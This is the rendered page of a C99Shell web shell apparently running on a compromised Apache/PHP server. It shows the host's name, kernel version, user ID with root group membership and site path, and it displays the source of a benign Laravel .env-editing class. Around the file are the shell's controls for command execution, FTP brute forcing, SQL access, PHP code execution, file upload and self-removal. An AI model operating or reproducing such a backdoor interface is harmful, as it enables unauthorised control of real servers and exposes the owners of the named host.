!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/dacoto/laravel-setenv/src/   drwxr-xr-x
Free 28.4 GB of 117.98 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SetEnvEditor.php (5.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
dacoto\SetEnv;

use 
dacoto\SetEnv\Exceptions\KeyNotFoundException;
use 
dacoto\SetEnv\Workers\SetEnvFormatter;
use 
dacoto\SetEnv\Workers\SetEnvReader;
use 
dacoto\SetEnv\Workers\SetEnvWriter;
use 
Illuminate\Contracts\Container\Container;

class 
SetEnvEditor
{
    private 
Container $app;
    private 
SetEnvFormatter $formatter;
    private 
SetEnvReader $reader;
    private 
SetEnvWriter $writer;
    private 
$filePath;

    
/**
     * SetEnvEditor constructor.
     * @param  Container  $app
     * @throws Exceptions\UnableReadFileException
     */
    
public function __construct(Container $app)
    {
        
$this->app $app;
        
$this->formatter = new SetEnvFormatter();
        
$this->reader = new SetEnvReader($this->formatter);
        
$this->writer = new SetEnvWriter($this->formatter);
        
$this->load();
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function load($filePath null): SetEnvEditor
    
{
        
$this->resetContent();

        if (!
is_null($filePath)) {
            
$this->filePath $filePath;
        } elseif (
method_exists($this->app'environmentPath') && method_exists($this->app'environmentFile')) {
            
$this->filePath $this->app->environmentPath().'/'.$this->app->environmentFile();
        } else {
            
$this->filePath __DIR__.'/../../../../../../.env';
        }

        
$this->reader->load($this->filePath);

        if (
file_exists($this->filePath)) {
            
$this->writer->setBuffer($this->getContent());

            return 
$this;
        }
        return 
$this;
    }

    protected function 
resetContent(): void
    
{
        
$this->filePath null;
        
$this->reader->load((string) null);
        
$this->writer->setBuffer((string) null);
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function getContent()
    {
        return 
$this->reader->content();
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function getLines(): array
    {
        return 
$this->reader->lines();
    }

    
/**
     * @throws KeyNotFoundException
     * @throws Exceptions\UnableReadFileException
     */
    
public function getValue($key)
    {
        
$allKeys $this->getKeys([$key]);

        if (
array_key_exists($key$allKeys)) {
            return 
$allKeys[$key]['value'];
        }

        throw new 
KeyNotFoundException('Requested key not found in your file.');
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function getKeys($keys = []): array
    {
        
$allKeys $this->reader->keys();

        return 
array_filter($allKeys, static function ($key) use ($keys) {
            if (!empty(
$keys)) {
                return 
in_array($key$keystrue);
            }

            return 
true;
        }, 
ARRAY_FILTER_USE_KEY);
    }

    public function 
addEmpty(): SetEnvEditor
    
{
        
$this->writer->appendEmptyLine();
        return 
$this;
    }

    public function 
addComment($comment): SetEnvEditor
    
{
        
$this->writer->appendCommentLine($comment);
        return 
$this;
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function setKey($key$value null$comment null$export false): SetEnvEditor
    
{
        
$value = (string) $value;
        
$data = [compact('key''value''comment''export')];
        return 
$this->setKeys($data);
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function setKeys($data): SetEnvEditor
    
{
        foreach (
$data as $i => $setter) {
            if (!
is_array($setter)) {
                if (!
is_string($i)) {
                    continue;
                }
                
$setter = [
                    
'key' => $i,
                    
'value' => $setter,
                ];
            }
            if (
array_key_exists('key'$setter)) {
                
$key $this->formatter->formatKey($setter['key']);
                
$value $setter['value'] ?? null;
                
$comment $setter['comment'] ?? null;
                
$export array_key_exists('export'$setter) ? $setter['export'] : false;

                if (!
is_file($this->filePath) || !$this->keyExists($key)) {
                    
$this->writer->appendSetter($key, (string) $value$comment$export);
                } else {
                    
$oldInfo $this->getKeys([$key]);
                    
$comment is_null($comment) ? $oldInfo[$key]['comment'] : $comment;

                    
$this->writer->updateSetter($key, (string) $value$comment$export);
                }
            }
        }
        return 
$this;
    }

    
/**
     * @throws Exceptions\UnableReadFileException
     */
    
public function keyExists($key): bool
    
{
        
$allKeys $this->getKeys();

        return 
array_key_exists($key$allKeys);
    }

    public function 
deleteKey($key): SetEnvEditor
    
{
        
$keys = [$key];
        return 
$this->deleteKeys($keys);
    }

    public function 
deleteKeys($keys = []): SetEnvEditor
    
{
        foreach (
$keys as $key) {
            
$this->writer->deleteSetter($key);
        }
        return 
$this;
    }

    
/**
     * @throws Exceptions\UnableWriteToFileException
     */
    
public function save(): SetEnvEditor
    
{
        
$this->writer->save($this->filePath);
        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--